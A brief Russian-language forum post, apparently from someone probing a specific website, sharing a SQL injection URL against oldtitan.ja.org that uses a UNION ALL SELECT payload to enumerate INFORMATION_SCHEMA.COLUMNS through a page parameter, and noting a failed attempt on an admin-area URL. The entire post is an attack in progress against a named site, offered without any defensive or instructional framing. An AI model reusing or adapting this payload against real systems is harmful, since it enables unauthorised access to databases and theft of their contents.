вот еще накапал...

http://oldtitan.ja.org/challenge.php?page=rules&id=22'+union+all+select+1 ,2,3,'str1','str2',null,null,null,null,null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null,null,null,null,null+from+INFORMATION_SCHE MA.COLUMNS+--+

http://oldtitan.ja.org/area_admin.php?=id3 без успеха...